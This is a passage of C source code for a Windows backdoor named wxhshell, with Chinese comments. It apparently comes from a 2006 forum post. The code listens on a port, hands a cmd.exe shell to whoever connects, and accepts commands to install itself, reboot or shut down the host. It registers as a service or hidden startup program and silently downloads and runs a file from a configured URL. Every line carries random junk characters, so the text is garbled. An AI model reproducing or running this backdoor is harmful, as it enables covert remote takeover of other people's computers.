  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U8s&5~IPn  
  } Ri&?uCCM  
  else { PTFe>~vr*  
]eD5It\  
    switch(cmd[0]) { nlaeo"]  
  E#A}J:  
  // 帮助 ! fSM6Vo  
  case '?': { t ]yD95|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KD)+& 69  
    break; yqKERdm  
  } ZJeTx.Gi6  
  // 安装 QwL'5ws{q  
  case 'i': { t:<dirw,o  
    if(Install()) +Xjevg6DU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 56Gc[<nR  
    else j,BiWgj$8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f}U@e0Lsb  
    break; PK7 kpC  
    } Z UCz-53  
  // 卸载 ?E88y  
  case 'r': { ,@*Srrw  
    if(Uninstall()) P-c<[DSM'I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k yI-nE  
    else M7 Z9(3Va  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @p}"B9h*^  
    break; wqyrs|P  
    } 4fp]z9Y  
  // 显示 wxhshell 所在路径 d#*n@@V4  
  case 'p': { "2~%-;c  
    char svExeFile[MAX_PATH]; nC> 'kgRt  
    strcpy(svExeFile,"\n\r"); _RcFV  
      strcat(svExeFile,ExeFile); s wIJmA  
        send(wsh,svExeFile,strlen(svExeFile),0); vQiKpO*  
    break; nD8CP[bRo  
    } c7fQ{"f 3B  
  // 重启 %Qc5_of  
  case 'b': { *tD`X( K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ozr82  
    if(Boot(REBOOT)) ")cJA f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZSo#vQ  
    else { n6f  
    closesocket(wsh); g)@d(EYY  
    ExitThread(0); n,E =eNc  
    } DfJHH)Ry}  
    break; +g6t)Gl  
    } XA*sBf  
  // 关机 6mH --!j  
  case 'd': { ^bj aa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !PIpvx{aX  
    if(Boot(SHUTDOWN)) =]auP{AlE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xc HG5bg |  
    else { 7kZ-`V|\.  
    closesocket(wsh); V>YZ^>oeH  
    ExitThread(0); b+g(=z+  
    } -!kfwJg8N(  
    break; S|pMX87R  
    } Gc'CS_L  
  // 获取shell A"`^A brm  
  case 's': { nbGB84  
    CmdShell(wsh); { eU_  
    closesocket(wsh); y ;$8C  
    ExitThread(0);  d Xiv8B1  
    break; M^E\L C  
  } 7 q%|-`#  
  // 退出 EMV<PshW=  
  case 'x': { aNLkkkJg<;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }c"1;C&{  
    CloseIt(wsh); 9EE},D  
    break; ![{>$Q?5  
    } &s|a\!>l  
  // 离开 $\DOy&e  
  case 'q': { H)Zb_>iV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); soH M5<U  
    closesocket(wsh); nS53mLU)  
    WSACleanup(); |Mm9QF;iA  
    exit(1); ,1s,G]%M  
    break; ?ep'R&NV  
        } Zy>iaG9}  
  } h#o3qY  
  } H.D1|sU  
/-.i=o]b  
  // 提示信息 e+!+(D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JVoW*uA  
} [&Z3+/lR*  
  } vu&%e\gM  
^+ hJ& 9W  
  return; lO)0p2  
} ;}tEU'&  
gm-I)z!tz  
// shell模块句柄 d"1DE  
int CmdShell(SOCKET sock) oPX `/ X#  
{ Tk^J#};N  
STARTUPINFO si; yC]xYn)  
ZeroMemory(&si,sizeof(si)); f?ImQYqP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `ehZ(H}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C/JeD-JG  
PROCESS_INFORMATION ProcessInfo; 5,>Of~YN  
char cmdline[]="cmd"; Ag>E%N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D*>EWlZ   
  return 0; 3 e19l!B  
} >d`XR"_e  
62R9 4  
// 自身启动模式 LIo3a38n?y  
int StartFromService(void) 8>E_bxC  
{ a w0;  
typedef struct ,_JhvPWR,)  
{ X `[P11`  
  DWORD ExitStatus; g1je':  
  DWORD PebBaseAddress; Y: ~A-_  
  DWORD AffinityMask; RG'Ft]l92N  
  DWORD BasePriority; X>[x7t:  
  ULONG UniqueProcessId; _^)Wrf+  
  ULONG InheritedFromUniqueProcessId; B@:c 8}2.  
}   PROCESS_BASIC_INFORMATION; .`iG} j)\  
V)$y  
PROCNTQSIP NtQueryInformationProcess; q(i^sE[y  
QF  P3S(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yj^LX2x"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q^&oXM'x/i  
<Rs#y:  
  HANDLE             hProcess; E&\dr;{7  
  PROCESS_BASIC_INFORMATION pbi; }!5x1F!  
h,Y!d]2w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vhw"Nl  
  if(NULL == hInst ) return 0; )HrFWI'Y  
02Ftn&bi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9`"o,wGX3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WIytgM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r/X4Hy0!lT  
&GF|Rr8NXs  
  if (!NtQueryInformationProcess) return 0; [-Zp[  
egBjr?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z (N3oBW  
  if(!hProcess) return 0; wq[\Fb`  
!]%M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]=s!cfu  
O*hd@2hd  
  CloseHandle(hProcess); h8b*=oq  
T ;Ga G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?4X8l@fR  
if(hProcess==NULL) return 0; ?[$=5?  
Q^^.@FU"x  
HMODULE hMod; @/S6P-4  
char procName[255]; {U$qxC]M  
unsigned long cbNeeded; T6X%.tR>`  
_%HpB=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sU {'  
L{v^:  
  CloseHandle(hProcess); R&z)  
T Y|5O! <  
if(strstr(procName,"services")) return 1; // 以服务启动 omxBd#;F$  
pNOVyyo>BW  
  return 0; // 注册表启动  &cjE+  
} KY)r kfo B  
Zk#^H*jgx  
// 主模块 .YvE  
int StartWxhshell(LPSTR lpCmdLine) <Tq&Va_w  
{ aZ$$a+  
  SOCKET wsl; 2gn*B$a  
BOOL val=TRUE; O"otzla  
  int port=0; 3xhv~be  
  struct sockaddr_in door; /Q7cQ2[EU  
t@GPB]3[  
  if(wscfg.ws_autoins) Install(); wi#]*\N\9  
yOn +Y  
port=atoi(lpCmdLine); ~Rzn =>a  
9/lCW  
if(port<=0) port=wscfg.ws_port; O[p;IG`  
ap;tggi(H  
  WSADATA data; PZ/gD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }*!7 Vrep  
> ,L'A;c}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FzOr#(^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,2F4S5F~rC  
  door.sin_family = AF_INET; 4(aDi;x"w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MCamc  
  door.sin_port = htons(port); SnK j:|bV  
!P7##ho0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ALw5M'6q0\  
closesocket(wsl); S- Mh0o"  
return 1; gf!hO$sQ3  
} =<-tD<  
N0be=IO5#  
  if(listen(wsl,2) == INVALID_SOCKET) { @`:n+r5u  
closesocket(wsl); Bp3%*va  
return 1; 0dKI+zgr  
} X\SZ Q[gN  
  Wxhshell(wsl); I*e8 5wef  
  WSACleanup(); L[zg2y  
S7-ka{S  
return 0; &tFVW[(  
9wP_dJvb  
} P5;LM9W  
gY AXUM,  
// 以NT服务方式启动 TlEx w0i!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) } d / 5_X  
{ ^/ K\a ,  
DWORD   status = 0; q# W|*kL3  
  DWORD   specificError = 0xfffffff; IVYWda0m  
. xT8@]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dc |!H{Yr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hWK}] gF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4!Ez#\  
  serviceStatus.dwWin32ExitCode     = 0; Nw@tlT4  
  serviceStatus.dwServiceSpecificExitCode = 0; 4[z a|t  
  serviceStatus.dwCheckPoint       = 0; MnvFmYgxA  
  serviceStatus.dwWaitHint       = 0; 8tWOVLquJ  
^(I4Do~}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 03*` T  
  if (hServiceStatusHandle==0) return; 96aA2s1  
Gx ?p,Fj  
status = GetLastError(); yH>`Kbf T  
  if (status!=NO_ERROR) !|`G<WD  
{ }7CMXw [  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f[3DKA  
    serviceStatus.dwCheckPoint       = 0; 3X$)cZQ  
    serviceStatus.dwWaitHint       = 0; =whZ?,u1   
    serviceStatus.dwWin32ExitCode     = status; Ec| Gom?  
    serviceStatus.dwServiceSpecificExitCode = specificError; <Vyv)#32o3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g(t"+ P  
    return; ;crQ7}k  
  } _[-+%RP  
]gYnw;W$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $:"r$7  
  serviceStatus.dwCheckPoint       = 0; W B)<B  
  serviceStatus.dwWaitHint       = 0; k"|4 LPv[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $X_JUzb  
} Z~{0XG\Y  
C.V")D=  
// 处理NT服务事件,比如:启动、停止 i"%X[(U7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2't<Hl1qN  
{ @s J[<V  
switch(fdwControl) S!qJqZ<Bv  
{ zVe@`gc  
case SERVICE_CONTROL_STOP: e{8z1t20:  
  serviceStatus.dwWin32ExitCode = 0; 6> v`6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MZf$8R  
  serviceStatus.dwCheckPoint   = 0; }^WQNdws56  
  serviceStatus.dwWaitHint     = 0; %3scz)4$  
  { $5y%\A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *]~ug%a  
  } WyVFh AuU  
  return; O{a<f7 W  
case SERVICE_CONTROL_PAUSE: Zh`lC1l'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (&0%![j&  
  break; qd"1KzQWO  
case SERVICE_CONTROL_CONTINUE: ?-0k3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VTySKY+  
  break; #}L75  
case SERVICE_CONTROL_INTERROGATE: q}e"E cr  
  break; ![3#([>4>  
}; EZaWEW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xu`c_  
} zu'Uau  
'Ca6cm3Tg  
// 标准应用程序主函数 L^} Z:I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qLBXyQ;U  
{ KJ<7aZ  
G\G TS}u[  
// 获取操作系统版本 ?|'+5$  
OsIsNt=GetOsVer(); 1o)@{x/pd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SA&0f&07i  
By{zX,6'  
  // 从命令行安装 <l]P <N8^  
  if(strpbrk(lpCmdLine,"iI")) Install(); tGnBx)J|  
K: g_M  
  // 下载执行文件 XJy~uks,  
if(wscfg.ws_downexe) { zbK=yOIOd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !s pp*Q)#\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~K}iVX  
} T%~w~stW  
w naP?|/  
if(!OsIsNt) { n 1MZHa,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZC 7R f  
HideProc(); Bz<T{f  
StartWxhshell(lpCmdLine); << `*o[^L  
} B.CUk.  
else =!T@'P?  
  if(StartFromService()) i2KN^"v?N  
  // 以服务方式启动 b"n8~Vd  
  StartServiceCtrlDispatcher(DispatchTable); 2g~qVT,  
else ,T@+QXh  
  // 普通方式启动 XWN ra  
  StartWxhshell(lpCmdLine); "s!!\/^9C  
|N_tVE  
return 0; c*2 U'A  
}
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只看该作者 1 发表于: 2006-10-10
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